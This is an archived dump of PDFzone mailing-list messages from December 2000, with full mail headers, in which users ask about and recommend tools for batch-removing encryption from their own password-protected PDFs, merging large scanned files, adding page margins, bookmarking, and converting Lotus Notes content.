http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ I have a copy of Compose, but it requires to put the password in for each document even though the passwords are all the same. Is there a way around this? Chuck The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Jeremy, I played with Options (David Evans' suggestion), and it does what you want. Compose will also remove all encryption in a batch function--nice for me because I already have Compose. I wonder what Very Good Reason Adobe has for making it impossible to remove all encryption using Acrobat's batch function? Jeanie jeremy.salganik@i hs.com To: pdf@lists.pdfzone.com Sent by: cc: owner-pdf@lists.p Subject: [PDF] PDF Decryption dfzone.com 12/06/2000 01:10 PM Please respond to pdf The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ I have over 30,000 PDF files that are encrypted. I have a security password to change the file and I have changing the document not allowed set. What I would like to do is batch process all of these files to clear the security settings and turn off the encryption. Right now using Acrobat 4.05 I can clear the security settings but my files are still encrypted. So the security method still shows as standard. I need this cleared. Does anyone know of a tool to do this? Jeremy Salganik IHS Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 8-Dec-2000 16:34:15-GMT,3473;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id JAA15699 for ; Fri, 8 Dec 2000 09:34:14 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id KAA23489; Fri, 8 Dec 2000 10:33:20 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 8 Dec 2000 10:26:00 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id KAA22833; Fri, 8 Dec 2000 10:25:52 -0600 Message-Id: X-Mailer: Novell GroupWise 5.5.4 Date: Fri, 08 Dec 2000 10:23:25 -0600 From: ""Paul Kevin Schulte"" To: , Subject: [CAPTR] Memory Errors: Combining Large Scanned PDF's Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by everglades.binc.net id KAB22824 Sender: owner-capture@lists.pdfzone.com Reply-To: capture@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:pdfz-listadmin@pdfzone.com The Capture list is a service provided by PDFzone.com | http://www.pdfzone.com/ _____________________________________________________________________ Dear PDF and Capture Colleagues, We have a requirement with the Product Date Management (PDM) system we use to have one pdf file for viewing and archiving non-CAD documents. We have recently used an in-house department to scan some old documents from microfiche. We do not require OCR on these documents; OCR might be tough as depending on what method was used, our older documents include cut and paste and handwriting or hand-drafting. The problem we are encountering: We have been running into out of memory errors on the Windows 95 workstations used to process these documents. Details on the files and their sizes follow (all identifying data has been obscured): 18767562 Oct 31 12:45 61_1_e.pdf 30811340 Nov 3 12:41 61_2_e.pdf 29190931 Nov 6 15:48 61_3_e.pdf 32907460 Nov 6 16:40 61_4_e.pdf 18839132 Nov 20 16:09 57_1_c.pdf 18881626 Nov 29 15:35 57_2_c.pdf 17281875 Nov 30 11:09 57_3_c.pdf 28799069 Nov 21 12:03 58_1_b.pdf 26156370 Nov 21 12:38 58_2_b.pdf 21201709 Nov 22 09:44 58_3_b.pdf All suggestions are welcome as to how to combine these files into one pdf per document. We may not choose to implement them all. If the resulting combined file would exceed the maximum file size allowed for Acrobat or for one pdf, that information would also be welcome. I am on the digest only. Please reply directly to me or copy your reply to me to ensure the timely receipt of your highly valued assistance. (AGAIN IN SHOUTING MODE: PLEASE REPLY DIRECTLY TO ME OR COPY YOUR REPLY TO ME.) Thank you! Happy Holidays! Paul K. Schulte Sr. Technical Publishing Specialist/EHS Coordinator Configuration Assurance Medtronic, Inc. 4000 Lexington Avenue N. MS: X190 St. Paul, MN 55126 Phone #: 763/514-9429 Fax #: 763/514-9418 Email: paul.k.schulte@medtronic.com Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 8-Dec-2000 16:36:06-GMT,3748;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id JAA15745 for ; Fri, 8 Dec 2000 09:36:05 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id KAA23477; Fri, 8 Dec 2000 10:33:08 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 8 Dec 2000 10:26:03 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id KAA22873; Fri, 8 Dec 2000 10:26:00 -0600 Received: from mspeos0.corp.medtronic.COM (mspeos0.corp.medtronic.COM [144.15.157.114]) by everglades.binc.net (8.8.8/8.8.8) with SMTP id KAA22821; Fri, 8 Dec 2000 10:25:49 -0600 Received: from MSPEOS-Message_Server by mspeos0.corp.medtronic.COM with Novell_GroupWise; Fri, 08 Dec 2000 10:23:30 -0600 Message-Id: X-Mailer: Novell GroupWise 5.5.4 Date: Fri, 08 Dec 2000 10:23:25 -0600 From: ""Paul Kevin Schulte"" To: , Subject: [PDF] Memory Errors: Combining Large Scanned PDF's Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by everglades.binc.net id KAA22824 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Dear PDF and Capture Colleagues, We have a requirement with the Product Date Management (PDM) system we use to have one pdf file for viewing and archiving non-CAD documents. We have recently used an in-house department to scan some old documents from microfiche. We do not require OCR on these documents; OCR might be tough as depending on what method was used, our older documents include cut and paste and handwriting or hand-drafting. The problem we are encountering: We have been running into out of memory errors on the Windows 95 workstations used to process these documents. Details on the files and their sizes follow (all identifying data has been obscured): 18767562 Oct 31 12:45 61_1_e.pdf 30811340 Nov 3 12:41 61_2_e.pdf 29190931 Nov 6 15:48 61_3_e.pdf 32907460 Nov 6 16:40 61_4_e.pdf 18839132 Nov 20 16:09 57_1_c.pdf 18881626 Nov 29 15:35 57_2_c.pdf 17281875 Nov 30 11:09 57_3_c.pdf 28799069 Nov 21 12:03 58_1_b.pdf 26156370 Nov 21 12:38 58_2_b.pdf 21201709 Nov 22 09:44 58_3_b.pdf All suggestions are welcome as to how to combine these files into one pdf per document. We may not choose to implement them all. If the resulting combined file would exceed the maximum file size allowed for Acrobat or for one pdf, that information would also be welcome. I am on the digest only. Please reply directly to me or copy your reply to me to ensure the timely receipt of your highly valued assistance. (AGAIN IN SHOUTING MODE: PLEASE REPLY DIRECTLY TO ME OR COPY YOUR REPLY TO ME.) Thank you! Happy Holidays! Paul K. Schulte Sr. Technical Publishing Specialist/EHS Coordinator Configuration Assurance Medtronic, Inc. 4000 Lexington Avenue N. MS: X190 St. Paul, MN 55126 Phone #: 763/514-9429 Fax #: 763/514-9418 Email: paul.k.schulte@medtronic.com Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 8-Dec-2000 16:48:19-GMT,2668;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id JAA16149 for ; Fri, 8 Dec 2000 09:48:18 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id KAA24529; Fri, 8 Dec 2000 10:45:37 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 8 Dec 2000 10:40:08 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id KAA24091; Fri, 8 Dec 2000 10:40:05 -0600 Received: from mail.Firstdatacorp.COM (mail.firstdatacorp.com [170.186.38.195]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id KAA24085 for ; Fri, 8 Dec 2000 10:40:03 -0600 From: Jeanie.Shoemaker@firstdatacorp.com Received: (from smtp@localhost) by mail.Firstdatacorp.COM (8.9.3/8.9.3) id KAA22433 for ; Fri, 8 Dec 2000 10:28:09 -0600 (CST) X-Authentication-Warning: mail.firstdatacorp.com: smtp set sender to using -f Received: from () by mail via smap (V2.1) id xma022363; Fri, 8 Dec 00 16:27:53 GMT Subject: Re: [PDF] PDF Decryption To: pdf@lists.pdfzone.com X-Mailer: Lotus Notes Release 5.0.3 March 21, 2000 Message-ID: Date: Fri, 8 Dec 2000 10:39:16 -0600 X-MIMETrack: Serialize by Router on SRVMTA1/FDR/FDC(Release 5.0.3 |March 21, 2000) at 12/08/2000 10:39:25 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Ouch. I don't use passwords, so I've not run into that problem. Options says that you enter the passwords once and then the program stores them for reuse instead of asking for them again...but I don't know if that means you have to enter them once for each file, or once for each batch process. (Download a demo of Options to test it.) David Evans...can you answer this? >I have a copy of Compose, but it requires to put the password in for each document even though the passwords are all the same. Is there a way around this? Chuck Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 8-Dec-2000 17:20:47-GMT,3150;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id KAA17050 for ; Fri, 8 Dec 2000 10:20:46 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id LAA26808; Fri, 8 Dec 2000 11:18:36 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 8 Dec 2000 11:12:14 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id LAA26156; Fri, 8 Dec 2000 11:12:12 -0600 Received: from diamond.gpo.gov (diamond.access.gpo.gov [162.140.64.100]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id LAA26150 for ; Fri, 8 Dec 2000 11:12:11 -0600 Received: by diamond.gpo.gov; (8.8.8/1.3/10May95) id MAA00274; Fri, 8 Dec 2000 12:12:40 -0500 (EST) Received: from somewhere by smtpxd Message-ID: <6825214BF975D111A7B50000F86328BC038C13E5@garnet.main.gpo.gov> From: ""Greenberg, Leslie M."" To: ""'PDF zone Listserv'"" Subject: [PDF] Adding Margins Date: Fri, 8 Dec 2000 12:11:01 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset=""iso-8859-1"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ > From: DUDGEON@britbio.co.uk > On Wed, 6 Dec 2000 15:02:40 > Subject: [PDF] adding margins to scanned pages > I'm wanting to scan documents into PDF, ... I can't figure > out how to add a margin around the scanned image (I can crop > the page, but not add to it)... > Tim Tim We just saw a demo of the revised Pitstop Professional from Enfocus (enfocus.com), it is a Acrobat plug-in that will allow you to add space around a PDF. If you have a lot of files that need this, it looks like it can even be scripted for automatic margin addition. ---------------------------------------------------------------------------- * Les Greenberg, Institute for Federal Printing & Electronic Publishing * Classes in print, CD, and Web for Federal Employees, the DC Government, and contractors who produce publications for the Federal Government * (voice) 202-512-1283 (fax) 202-512-1255 * (e-mail) lgreenberg@gpo.gov * (web site) * Les Greenberg, Institute for Federal Printing & Electronic Publishing * Classes in print, CD, and Web for Federal Employees, the DC Government, and contractors who produce publications for the Federal Government * (voice) 202-512-1283 (fax) 202-512-1255 * (e-mail) lgreenberg@gpo.gov * (web site) Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 8-Dec-2000 18:40:41-GMT,2318;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id LAA19890 for ; Fri, 8 Dec 2000 11:40:39 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id MAA31171; Fri, 8 Dec 2000 12:38:27 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 8 Dec 2000 12:32:04 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id MAA30887; Fri, 8 Dec 2000 12:32:03 -0600 Received: from comcom.com (netsrv03.comcom.com [207.67.13.2]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id MAA30883 for ; Fri, 8 Dec 2000 12:32:01 -0600 Received: from mailbox.comcom.com (mailbox [207.67.13.213]) by comcom.com (8.9.3+Sun/8.9.3) with ESMTP id MAA27587 for ; Fri, 8 Dec 2000 12:32:44 -0600 (CST) Received: by mailbox with Internet Mail Service (5.5.2650.21) id ; Fri, 8 Dec 2000 12:38:19 -0600 Message-ID: <20D5861A4053D411A3B200105A0A7EDB1D9830@mailbox> From: ""Leone-Thiel, Pat"" To: ""'pdf@lists.pdfzone.com'"" Subject: RE: [PDF] PDF Decryption Date: Fri, 8 Dec 2000 12:38:12 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset=""iso-8859-1"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ I believe BatchMeister in Compose will help you here, so you can select a folder full of files and accomplish your task. Hope this helps. Patricia Leone-Thiel -----Original Message----- I have a copy of Compose, but it requires to put the password in for each document even though the passwords are all the same. Is there a way around this? Chuck Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 8-Dec-2000 18:46:47-GMT,2958;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id LAA20057 for ; Fri, 8 Dec 2000 11:46:46 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id MAA31632; Fri, 8 Dec 2000 12:44:41 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 8 Dec 2000 12:39:16 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id MAA31205; Fri, 8 Dec 2000 12:39:14 -0600 Received: from Cs.Nott.AC.UK (pat.cs.nott.ac.uk [128.243.21.19]) by everglades.binc.net (8.8.8/8.8.8) with SMTP id MAA31201 for ; Fri, 8 Dec 2000 12:39:09 -0600 Received: from quiver.cs.nott.ac.uk by pat.Cs.Nott.AC.UK id aa26214; 8 Dec 2000 18:37 GMT Date: Fri, 8 Dec 2000 18:37:53 +0000 (GMT) From: David Brailsford X-Sender: dfb@quiver To: pdf@lists.pdfzone.com Subject: [PDF] PDF Question (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ ---------- Forwarded message ---------- Date: Wed, 06 Dec 2000 12:59:04 -0800 From: Cesare Alessandrini To: ep@Cs.Nott.AC.UK Subject: PDF Question All, I'm implementing a toolkit for a web-based application, which uses PDF bookmarks pointing to URLs. However, these bookmarks need to be added dynamically at runtime, or, at least, I need to be able to concatenate several PDF Documents, each with its own set of bookmarks into a single large PDF. I looked at PDFLib, which doesn't support Web-link bookmarks, and PJ and PjScript. I could implement the routines using PJ's low level API, but I would prefer to use a higher-level API if one is available. Do you know of such a toolkit which I can use ? We're deploying on Linux servers, so I would need something that can be accessed from Java on Linux. That rules out all the Windows NT/2000 toolkits out there... The basic function for above question would be for web users to make changes to forms, currently, the user needs to download about 2 MB file everytime the user wants to make a change is there any compression tool which you know of that can compress the size so that users do not have to wait for the download. anythoughts? Thanks Cesare Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 8-Dec-2000 19:48:47-GMT,2485;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id MAA22048 for ; Fri, 8 Dec 2000 12:48:46 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id NAA03217; Fri, 8 Dec 2000 13:46:36 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 8 Dec 2000 13:40:05 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id NAA02829; Fri, 8 Dec 2000 13:40:02 -0600 Received: from quite.com (host15.quite.com [193.131.11.80]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id NAA02823 for ; Fri, 8 Dec 2000 13:39:59 -0600 Received: from gateway (gateway.quite.com [193.131.11.81]) by quite.com (8.8.7/8.8.7) with SMTP id TAA00296 for ; Fri, 8 Dec 2000 19:40:04 GMT From: ""Aandi Inston"" To: Subject: RE: [PDF] PDF Question (fwd) Date: Fri, 8 Dec 2000 19:39:55 -0000 Message-ID: <000201c0614e$a5160140$510b83c1@gateway.quite.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 In-Reply-To: Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ > The basic function for above question would be for web users to make > changes to forms, currently, the user needs to download about > 2 MB file > everytime the user wants to make a change is there any > compression tool How would web bookmarks help with this aim? > > which you know of that can compress the size so that users do not have > to wait for the download. What is it you want to compress, and why is it so large? Aandi Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 8-Dec-2000 20:24:05-GMT,2644;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id NAA23189 for ; Fri, 8 Dec 2000 13:24:04 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id OAA05486; Fri, 8 Dec 2000 14:21:57 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 8 Dec 2000 14:16:20 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id OAA05169; Fri, 8 Dec 2000 14:16:19 -0600 Received: from ns.nternet.net (root@ns.nternet.net [64.92.64.14]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id OAA05165 for ; Fri, 8 Dec 2000 14:16:17 -0600 Received: from nternet.net (JAX-TNT3-pool1-117.coastalnet.com [216.10.175.117]) by ns.nternet.net (8.9.3/8.9.3) with ESMTP id PAA27792 for ; Fri, 8 Dec 2000 15:16:05 -0500 Message-ID: <3A314263.58899658@nternet.net> Date: Fri, 08 Dec 2000 15:19:47 -0500 From: ""Michael Kies, Delex NKT"" Organization: Delex Systems, Inc. X-Mailer: Mozilla 4.73 [en] (WinNT; U) X-Accept-Language: en,pdf MIME-Version: 1.0 To: pdf@lists.pdfzone.com Subject: [PDF] Anything to PDF in a Notes database References: <200012081839.MAA31224@everglades.binc.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Hello, This may be a little off topic, but please bear with me. Does anybody know of any application or tool that could go through a Lotus Notes R4 or R5 database and convert various files in PPT, Word DOC, etc... to PDF format automatically or an a scheduled basis (and also update links to those documents). I'm trying to find a way to decrease bandwidth for Notes pages accessed via Notes Domino over a variety of communications circuits. Keep in mind that the Lotus Notes file structure is different from a normal website - things that might work with IIS, FrontPage, or Dreamweaver probably won't work here. Thanks in advance, Michael Kies Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 8-Dec-2000 20:41:13-GMT,4846;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id NAA23630 for ; Fri, 8 Dec 2000 13:41:12 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id OAA06780; Fri, 8 Dec 2000 14:38:56 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 8 Dec 2000 14:33:12 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id OAA06314; Fri, 8 Dec 2000 14:33:11 -0600 Received: from mastercard.com (209-64-116-063.mastercard.com [209.64.116.63]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id OAA06310 for ; Fri, 8 Dec 2000 14:33:10 -0600 Subject: Re: [PDF] Anything to PDF in a Notes database To: pdf@lists.pdfzone.com X-Mailer: Lotus Notes Release 5.0.3 March 21, 2000 Message-ID: From: ""Katrina Haggerty"" Date: Fri, 8 Dec 2000 14:32:58 -0600 X-MIMETrack: Serialize by Router on MCNSTL40/MASTERCARD(Release 5.0.5 |September 22, 2000) at 12/08/2000 02:33:10 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Our company is looking at a product called ""Hypernet"". I can't vouch for it but it is suppose to do what you are asking for. Katrina Haggerty MasterCard International (All comments are my own.) ""Michael Kies, Delex NKT"" To: pdf@lists.pdfzone.com Subject: [PDF] Anything to PDF in a Notes database Sent by: owner-pdf@lists.p dfzone.com 12/08/00 02:19 PM Please respond to pdf The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Hello, This may be a little off topic, but please bear with me. Does anybody know of any application or tool that could go through a Lotus Notes R4 or R5 database and convert various files in PPT, Word DOC, etc... to PDF format automatically or an a scheduled basis (and also update links to those documents). I'm trying to find a way to decrease bandwidth for Notes pages accessed via Notes Domino over a variety of communications circuits. Keep in mind that the Lotus Notes file structure is different from a normal website - things that might work with IIS, FrontPage, or Dreamweaver probably won't work here. Thanks in advance, Michael Kies Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 8-Dec-2000 20:51:13-GMT,3591;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id NAA23913 for ; Fri, 8 Dec 2000 13:51:12 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id OAA07656; Fri, 8 Dec 2000 14:48:21 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 8 Dec 2000 14:42:13 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id OAA07104; Fri, 8 Dec 2000 14:42:12 -0600 Received: from smtp.digapp.com ([38.164.135.2]) by everglades.binc.net (8.8.8/8.8.8) with SMTP id OAA07100 for ; Fri, 8 Dec 2000 14:42:10 -0600 Received: from [207.29.200.50] by smtp.digapp.com (AppleShare IP Mail Server 6.3) id 47646 via TCP with SMTP; Fri, 08 Dec 2000 15:43:06 -0500 Mime-Version: 1.0 X-Sender: leonardr@smtp.digapp.com Message-Id: In-Reply-To: References: Date: Fri, 8 Dec 2000 15:37:37 -0500 To: pdf@lists.pdfzone.com From: Leonard Rosenthol Subject: Re: [PDF] PDF Question (fwd) Cc: cesare@y-axis.com Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ At 6:37 PM +0000 12/8/00, David Brailsford wrote: >The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com >I'm implementing a toolkit for a web-based application, which uses PDF >bookmarks pointing to URLs. However, these bookmarks need to be added >dynamically at runtime, or, at least, I need to be able to concatenate >several PDF Documents, each with its own set of bookmarks into a single >large PDF. Seems completely reasonable. >I looked at PDFLib, which doesn't support Web-link bookmarks, >and PJ and PjScript. I could implement the routines using PJ's low level >API, but I would prefer to use a higher-level API if one is available. >Do you know of such a toolkit which I can use ? We're deploying on >Linux servers, so I would need something that can be accessed from Java >on Linux. That rules out all the Windows NT/2000 toolkits out there... You want AppendPDF or AppendPDF Pro from Digital Applications (). They are command line applications which will happily merge/append PDF documents together maintain existing books and/or adding new ones. If you want an actual toolkit or library to do this, Digital Applications also provides their SPDF library, which is the toolkit/library on which their product are based. It can be licensed either in binary or source. Leonard -- ---------------------------------------------------------------------------- Leonard Rosenthol Sr. Software Engineer (215) 922-3509 (voice) Digital Applications (215) 440-0504 (fax) PGP Fingerprint: 8CC9 8878 921E C627 0BC1 15BB FC19 64A9 0016 1397 Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 8-Dec-2000 20:56:06-GMT,2760;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id NAA24054 for ; Fri, 8 Dec 2000 13:56:05 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id OAA08233; Fri, 8 Dec 2000 14:53:24 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 8 Dec 2000 14:47:54 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id OAA07595; Fri, 8 Dec 2000 14:47:52 -0600 Received: from relay03.cablecom.net (relay03.cablecom.net [62.2.33.103]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id OAA07586 for ; Fri, 8 Dec 2000 14:47:50 -0600 Received: from mail.swissonline.ch (mail.swissonline.ch [62.2.32.83]) by relay03.cablecom.net (8.11.1/8.11.0/SOL/MXRELAY-1.03) with ESMTP id eB8KlN568692; Fri, 8 Dec 2000 21:47:31 +0100 (CET) Received: from [192.168.0.7] (client74-136.hispeed.ch [62.2.74.136]) by mail.swissonline.ch (8.9.3/8.9.3/MSOL-2.17) with ESMTP id VAA15408; Fri, 8 Dec 2000 21:47:14 +0100 (MET) Mime-Version: 1.0 X-Sender: max%prodok.com@mail7.burlee.com (Unverified) Message-Id: In-Reply-To: References: Date: Fri, 8 Dec 2000 18:24:46 +0100 To: pdf@lists.pdfzone.com From: Max Wyss Subject: [PDF] Re: javascript 'delay' code? Cc: ""Bob Roach"" Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Bob, there is no documented method to add delays in script execution. However, you might look at what exists in the Netscape Client-side extensions... Hope, this can help. Max Wyss PRODOK Engineering Low Paper workflows, Smart documents, PDF forms CH-8906 Bonstetten, Switzerland Fax: +41 1 700 20 37 e-mail: mailto:max@prodok.com http://www.prodok.com [ Building Bridges for Information ] ______________________ >Would anyone be willing to share with me the javascript code for >creating a programmable delay in script execution? >(Tis' the... season, right?) > Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 8-Dec-2000 22:45:34-GMT,2339;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id PAA27632 for ; Fri, 8 Dec 2000 15:45:33 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id QAA14414; Fri, 8 Dec 2000 16:43:25 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 